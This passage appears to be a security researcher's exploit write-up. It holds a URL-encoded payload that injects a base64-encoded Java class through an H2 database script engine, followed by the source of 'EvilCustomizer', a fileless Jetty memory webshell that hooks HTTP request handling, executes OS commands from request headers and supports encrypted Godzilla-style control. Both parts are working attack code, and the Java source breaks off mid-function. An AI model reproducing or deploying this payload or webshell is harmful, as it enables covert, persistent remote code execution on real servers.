g.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(fieldFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20if%20(methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(methodFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20removeClassCache(java.lang.Class.forName(%22java.lang.Class%22))%3B%0A%7D%0Afunction%20setAccessible(accessibleObject)%7B%0A%20%20%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20%20%20var%20overrideField%20%3D%20java.lang.Class.forName(%22java.lang.reflect.AccessibleObject%22).getDeclaredField(%22override%22)%3B%0A%20%20%20%20var%20offset%20%3D%20unsafe.objectFieldOffset(overrideField)%3B%0A%20%20%20%20unsafe.putBoolean(accessibleObject%2C%20offset%2C%20true)%3B%0A%7D%0Afunction%20defineClass()%7B%0A%20%20var%20classBytes%20%3D%20%22yv66vgAAADQB1AgA4AoA4QDiCgA4AOMKADgA5AoA4QDlBwDmCgDhAOcKAAYA6AoABgDpCgA4AOoHAOsKADcA7AgA7QkAegDuCACFCQB6AO8HAPAKABEA7AoAEQDxCgARAPIKAHoA8wkAegD0CQD1APYKAPcA%2BAgA%2BQoANQD6CAD7CgA1APwKAK8A%2FQoArwD%2BBwD%2FCgB6AQAKAQEBAgoBAQEDCgA3AQQIAKwKAB8BBQoAHwEGBwCtCAEHCACmBwCnCAChCgA1AQgIAQkKADgBCgcBCwgBDAgBDQoANQEOCgEPARAIAREHARIHALcHARMHARQIARUKADUBFggBFwgBGAgBGQgBGggBGwgBHAoAwAEdBwEeCgBCAR8KAMABIAoAwAEhCAEiCgEjASQIAMgKADgBJQoAOAEmCAEnCgD1ASgKADgBKQgBKgoAOAErCAEsCAEtCAEuBwEvCgEwATEKATABMgoBMwE0CgBTATUIATYKAFMBNwoAUwE4CgEjATkKAToBOwoBPAE9CgE8AT4IAT8KASMBQAoAegFBCgB6AUIJAHoBQwcBRAcBRQoBAQFGCgBkAUcHAUgIAUkJAUoBSwoANQFMCgEPAP0KAUoBTQcBTgoAbgDsCgA3AQoKADgBTwoBPAFQCgA3APIKAG4BUQoAegFSCgA4AVMKAHoBVAoALwFVCgFWAVcHAVgKAHoBWQoBWgFbBwFcBwFdCgB%2BAV4HAV8HAWAHAWEBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgEAAygpVgEABHRoaXMBACZMY29tL2Jvb2dpcG9wL21lbXNoZWxsL0V2aWxDdXN0b21pemVyOwEABChJKVYBAAFJAQAJZ2V0VW5zYWZlAQATKClMc3VuL21pc2MvVW5zYWZlOwEABnVuc2FmZQEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAl0aGV1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEACkV4Y2VwdGlvbnMBAA1nZXRWYWx1ZUZpZWxkAQArKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEABXZhbHVlAQASTGphdmEvbGFuZy9PYmplY3Q7AQABagEADXRocmVhZExvY2Fsc0YBAAt0aHJlYWRsb2NhbAEABXRhYmxlAQAaW0xqYXZhL2xhbmcvcmVmL1JlZmVyZW5jZTsBAAFpAQALdGhyZWFkR3JvdXABABdMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEADHRocmVhZHNmaWxlZAEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwFkBwFlAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAB0VuY29kZXIBAAZiYXNlNjQBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABWgcBZgEACWN1c3RvbWl6ZQEAdShMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0Nvbm5lY3RvcjtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAAljb25uZWN0b3IBACRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0Nvbm5lY3RvcjsBABFodHRwQ29uZmlndXJhdGlvbgEALExvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbmZpZ3VyYXRpb247AQAHcmVxdWVzdAEAIkxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDsHAMQBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQATRXZpbEN1c3RvbWl6ZXIuamF2YQEAA01ENQcBZwwBaAFpDAFqAWsMAWwBbQwBbgFvAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAXABawwAkgFxDAFyAXMMAXQBdQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJIAkwEAEDNjNmUwYjhhOWMxNTIyNGEMAIMAhAwAhQCEAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAXYBdwwBcgF1DACGAIkMAIYAhAcBeAwBeQF6BwF7DAF8AJYBAA9zdW4ubWlzYy5VbnNhZmUMAX0BfgEACXRoZVVuc2FmZQwBfwGADAGBAYIMAYMBhAEAD3N1bi9taXNjL1Vuc2FmZQwAmACZBwGFDAGGAYcMAYgBiQwBigGLDAGMAY0MAY4BjwEADHRocmVhZExvY2FscwwBkAF1AQAnb3JnLmVjbGlwc2UuamV0dHkuc2VydmVyLkh0dHBDb25uZWN0aW9uDAGRAZIBACdvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RW5jb2RlcgwBkwGUBwGVDAGWAZcBAA5lbmNvZGVUb1N0cmluZwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgwBmAGZAQAGZW5jb2RlAQAKZ2V0RGVjb2RlcgEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAANBRVMMAWgBmgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAJIBmwwBnAGdDAGeAZ8BAA14LWNsaWVudC1kYXRhBwGgDAGhAIkMAaIBowwBpAGlAQAHb3MubmFtZQwBpgCJDAGnAXUBAAN3aW4MAagBqQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgcBqgwBqwGsDAGtAa4HAa8MAbABsQwAkgGyAQAQXEFTQURTQURBU0RTQURBUwwBswG0DAG1AXUMAbYBtwcBuAwBuQG6BwG7DAF8AbwMAb0AkwEACGdvZHppbGxhDAG%2BAIkMALgAuQwAuwC8DACHAIgBABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwBvwHADACSAcEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcBwgwBwwCIDAHEAZQMAcUBxgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHHAcgMAckBvAwBygFrDACwALEMAccBcwwAnwCgDAHLAcwHAc0MAc4BzwEAJGNvbS9ib29naXBvcC9tZW1zaGVsbC9FdmlsQ3VzdG9taXplcgwAkgCWBwHQDAHRAdIBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAkgHTAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEANW9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29uZmlndXJhdGlvbiRDdXN0b21pemVyAQAKQ3VzdG9taXplcgEADElubmVyQ2xhc3NlcwEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAC2dldEluc3RhbmNlAQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEACGdldEJ5dGVzAQAEKClbQgEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBAAh0b1N0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDspSgEACWdldE9iamVjdAEAJyhMamF2YS9sYW5nL09iamVjdDtKKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAgb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1JlcXVlc3QBAAlnZXRIZWFkZXIBABBlcXVhbHNJZ25vcmVDYXNlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAHaXNFbXB0eQEAAygpWgEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAC2dldFJlc3BvbnNlAQAlKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1Jlc3BvbnNlOwEAIW9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAMZ2V0UGFyYW1ldGVyAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAV3cml0ZQEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAUZ2V0SHR0cENvbmZpZ3VyYXRpb24BAC4oKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbmZpZ3VyYXRpb247AQAqb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uAQANYWRkQ3VzdG9taXplcgEAOihMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uJEN1c3RvbWl6ZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQB6ADcAAQCCAAQAAACDAIQAAAAAAIUAhAAAAAAAhgCEAAAAAACHAIgAAAAKAAkAhgCJAAEAigAAAKcABAADAAAAMAFMEgG4AAJNLCq2AAMDKrYABLYABbsABlkELLYAB7cACBAQtgAJtgAKTKcABE0rsAABAAIAKgAtAAsAAwCLAAAAHgAHAAAAGAACABsACAAcABUAHQAqAB8ALQAeAC4AIACMAAAAIAADAAgAIgCNAI4AAgAAADAAjwCEAAAAAgAuAJAAhAABAJEAAAATAAL%2FAC0AAgcAOAcAOAABBwALAAABAJIAkwABAIoAAAB1AAMAAQAAADcqtwAMKhINtQAOKhIPtQAQKrsAEVm3ABIqtAAQtgATKrQADrYAE7YAFLgAFbUAFrIAFwS2ABixAAAAAgCLAAAAGgAGAAAAIgAEABMACgAUABAAFQAvACMANgAkAIwAAAAMAAEAAAA3AJQAlQAAAAEAkgCWAAEAigAAAH8AAwACAAAANyq3AAwqEg21AA4qEg%2B1ABAquwARWbcAEiq0ABC2ABMqtAAOtgATtgAUuAAVtQAWsgAXBbYAGLEAAAACAIsAAAAaAAYAAAAmAAQAEwAKABQAEAAVAC8AJwA2ACgAjAAAABYAAgAAADcAlACVAAAAAAA3AI8AlwABAAoAmACZAAIAigAAAFsAAgACAAAAGxIZuAAaEhu2ABxLKgS2AB0qAbYAHsAAH0wrsAAAAAIAiwAAABIABAAAADcACwA4ABAAOQAZADoAjAAAABYAAgALABAAmgCbAAAAGQACAJwAnQABAJ4AAAAIAAMAgACBAH0ACgCfAKAAAgCKAAAB%2BQAFAAoAAAC5uAAgS7gAIbYAIkwrtgAjEiS2ABxNKisqLLYAJbYAJsAAJ04DNgQVBC2%2BogCNLRUEMrYAIxIotgAcOgUqLRUEMioZBbYAJbYAJjoGKhkGKhkGtgAjEim2ABy2ACW2ACbAACo6BwM2CBUIGQe%2BogBAKhkHFQgyKhkHFQgytgAjEiu2ABy2ACW2ACY6CRkJtgAjtgAsEi22AC6ZAAkZCcAAL7CnAAU6CYQIAaf%2FvqcABToFhAQBp%2F9yAbAAAwBvAKAApAALAC0AoACvAAsAoQCsAK8ACwADAIsAAABOABMAAAA9AAQAPgALAD8AFQBAACMAQQAtAEMAOwBEAEsARQBkAEYAbwBMAIsATQCbAE4AoQBTAKQAUQCmAEYArABYAK8AVgCxAEEAtwBaAIwAAABmAAoAiwAWAKEAogAJAGcARQCjAJcACAA7AHEApACbAAUASwBhAKUAogAGAGQASACmAKcABwAmAJEAqACXAAQABAC1AJoAnQAAAAsArgCpAKoAAQAVAKQAqwCbAAIAIwCWAKwArQADAJEAAABWAAn%2FACYABQcAHwcArgcArwcAJwEAAP8AQAAJBwAfBwCuBwCvBwAnAQcArwcANwcAKgEAADlCBwALAf8ABQAFBwAfBwCuBwCvBwAnAQAAQgcACwH6AAUAngAAAAgAAwB9AIAAgQAJALAAsQACAIoAAAFEAAYABQAAAHIBTRIwuAAaTCsSMQG2ADIrAbYAM04ttgAjEjQEvQA1WQMSNlO2ADItBL0AN1kDKlO2ADPAADhNpwA5ThI5uAAaTCu2ADo6BBkEtgAjEjsEvQA1WQMSNlO2ADIZBAS9ADdZAypTtgAzwAA4TacABToELLAAAgACADcAOgALADsAawBuAAsAAwCLAAAAMgAMAAAAXgACAGAACABhABUAYgA3AGoAOgBjADsAZQBBAGYARwBnAGsAaQBuAGgAcABrAIwAAABIAAcAFQAiALIAogADAAgAMgCzAIgAAQBHACQAsgCiAAQAQQAtALMAiAABADsANQC0ALUAAwAAAHIAtgC3AAAAAgBwAKEAhAACAJEAAAAqAAP%2FADoAAwcANgAHADgAAQcAC%2F8AMwAEBwA2AAcAOAcACwABBwAL%2BgABAJ4AAAAEAAEACwAJALgAuQACAIoAAAFEAAYABQAAAHIBTRIwuAAaTCsSPAG2ADIrAbYAM04ttgAjEj0EvQA1WQMSOFO2ADItBL0AN1kDKlO2ADPAADZNpwA5ThI%2BuAAaTCu2ADo6BBkEtgAjEj8EvQA1WQMSOFO2ADIZBAS9ADdZAypTtgAzwAA2TacABToELLAAAgACADcAOgALADsAawBuAAsAAwCLAAAAMgAMAAAAbwACAHEACAByABUAcwA3AHsAOgB0ADsAdgBBAHcARwB4AGsAegBuAHkAcAB8AIwAAABIAAcAFQAiALoAogADAAgAMgCzAIgAAQBHACQAugCiAAQAQQAtALMAiAABADsANQC0ALUAAwAAAHIAtgCEAAAAAgBwAKEAtwACAJEAAAAqAAP%2FADoAAwcAOAAHADYAAQcAC%2F8AMwAEBwA4AAcANgcACwABBwAL%2BgABAJ4AAAAEAAEACwABALsAvAABAIoAAADYAAYABAAAACwSQLgAQU4tHJkABwSnAAQFuwBCWSq0AA62AAMSQLcAQ7YARC0rtgBFsE4BsAABAAAAKAApAAsAAwCLAAAAFgAFAAAAgAAGAIEAIwCCACkAgwAqAIQAjAAAADQABQAGACMAvQC%2BAAMAKgACALQAtQADAAAALACUAJUAAAAAACwAjwC3AAEAAAAsAI0AvwACAJEAAAA8AAP%2FAA8ABAcAegcANgEHAMAAAQcAwP8AAAAEBwB6BwA2AQcAwAACBwDAAf8AGAADBwB6BwA2AQABBwALAAEAwQDCAAEAigAAAvUABwAIAAABlS0SRrYARxJItgBJmQCMLRJItgBHOgQZBMYAfBkEtgBKmgB0AToFEku4AEy2AE0STrYAT5kAGwa9ADhZAxJIU1kEElBTWQUZBFM6BacAGAa9ADhZAxJRU1kEElJTWQUZBFM6BbsAU1m4AFQZBbYAVbYAVrcAVxJYtgBZtgBaOgYttgBbtgBcOgcZBxkGtgBdGQe2AF6nAPstEka2AEcSX7YASZkA7S0qtAAQtgBguABhOgQqGQQDtgBiOgQqtABjxwBkuwBkWQO9AGW4ACG2AGa3AGc6BRJoEmkGvQA1WQMSNlNZBLIAalNZBbIAalO2AGs6BhkGBLYAbCoZBhkFBr0AN1kDGQRTWQQDuABtU1kFGQS%2BuABtU7YAM8AANbUAY6cAb7sAblm3AG86BSq0AGO2ADo6BhkGGQW2AHBXGQYZBLYAcFcZBi22AHBXLbYAW7YAXDoHGQcqtAAWAxAQtgBxtgByGQa2AHNXGQcqGQW2AHQEtgBiuAB1tgByGQcqtAAWEBC2AHa2AHIZB7YAXqcABToEsQABAAABjwGSAAsAAwCLAAAAjgAjAAAAigAOAIsAFgCMACMAjQAmAI4ANgCPAE4AkQBjAJMAfwCUAIgAlQCPAJYAlACYAJcAmQClAJsAsgCcALsAnQDCAJ4A1QCfAPMAoAD5AKEBIACiASMAowEsAKQBNQClAT0ApgFFAKcBTACoAVUAqQFkAKoBagCrAXwArAGKAK0BjwCxAZIAsAGUALIAjAAAAI4ADgAmAG4AwwDEAAUAfwAVAMUAhAAGAIgADADGAMcABwAWAH4AyACEAAQA1QBLAMkAygAFAPMALQDLAMwABgEsAGMAzQDOAAUBNQBaAM8AogAGAVUAOgDGAMcABwCyAN0A0AC3AAQAAAGVAJQAlQAAAAABlQDRANIAAQAAAZUA0wDUAAIAAAGVANUA1gADAJEAAAAeAAj9AE4HADgHANcU%2BQAwAvwAiwcANvoAa0IHAAsBAAgA2ACTAAEAigAAANEABAABAAAAOLgAd0sqtgB4tgB5uwB6WQS3AHu2AHynACFLuwB%2BWSq3AH%2B%2FS7sAflkqtwB%2Fv0u7AH5ZKrcAf7%2BxAAMAAAAWABkAfQAAABYAIwCAAAAAFgAtAIEAAwCLAAAAKgAKAAAALAAEAC0AFgA0ABkALgAaAC8AIwAwACQAMQAtADIALgAzADcANQCMAAAAKgAEAAQAEgDZANoAAAAaAAkAtADbAAAAJAAJALQA3AAAAC4ACQC0AN0AAACRAAAADwAEWQcAfUkHAIBJBwCBCQACAN4AAAACAN8BYwAAAAoAAQCCAVoBYgYJ%22%3B%0A%20%20var%20bytes%20%3D%20java.util.Base64.getDecoder().decode(classBytes)%3B%0A%20%20var%20clz%20%3D%20null%3B%0A%20%20var%20version%20%3D%20java.lang.System.getProperty(%22java.version%22)%3B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classLoader%20%3D%20new%20java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.net.URL%22)%2C%200))%3B%0A%20%20try%7B%0A%20%20%20%20if%20(version.split(%22.%22)%5B0%5D%20%3E%3D%2011)%20%7B%0A%20%20%20%20%20%20bypassReflectionFilter()%3B%0A%20%20%20%20%20%20defineClassMethod%20%3D%20java.lang.Class.forName(%22java.lang.ClassLoader%22).getDeclaredMethod(%22defineClass%22%2C%20java.lang.Class.forName(%22%5BB%22)%2Cjava.lang.Integer.TYPE%2C%20java.lang.Integer.TYPE)%3B%0A%20%20%20%20%20%20setAccessible(defineClassMethod)%3B%20%0A%20%20%20%20%20%20clz%20%3D%20defineClassMethod.invoke(classLoader%2C%20bytes%2C%200%2C%20bytes.length)%3B%0A%20%20%20%20%7Delse%7B%0A%20%20%20%20%20%20var%20protectionDomain%20%3D%20new%20java.security.ProtectionDomain(new%20java.security.CodeSource(null%2C%20java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.security.cert.Certificate%22)%2C%200))%2C%20null%2C%20classLoader%2C%20%5B%5D)%3B%0A%20%20%20%20%20%20clz%20%3D%20unsafe.defineClass(null%2C%20bytes%2C%200%2C%20bytes.length%2C%20classLoader%2C%20protectionDomain)%3B%0A%20%20%20%20%7D%0A%20%20%7Dcatch(error)%7B%0A%20%20%20%20error.printStackTrace()%3B%0A%20%20%7Dfinally%7B%0A%20%20%20%20return%20clz.newInstance()%3B%0A%20%20%7D%0A%7D%0AdefineClass()%3B'))\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
package com.boogipop.memshell;

import org.eclipse.jetty.server.*;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Map;
import java.util.Scanner;

//author:Boogipop

public class EvilCustomizer implements HttpConfiguration.Customizer {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public EvilCustomizer() {
System.out.println(1);
}

public EvilCustomizer(int s) {
System.out.println(2);
}

static {
try {
HttpConnection valueField = getValueField();
valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1));
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
//HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
//PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
//writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
//writer.flush();
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){

}
}

} catch (Exception e) {

}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
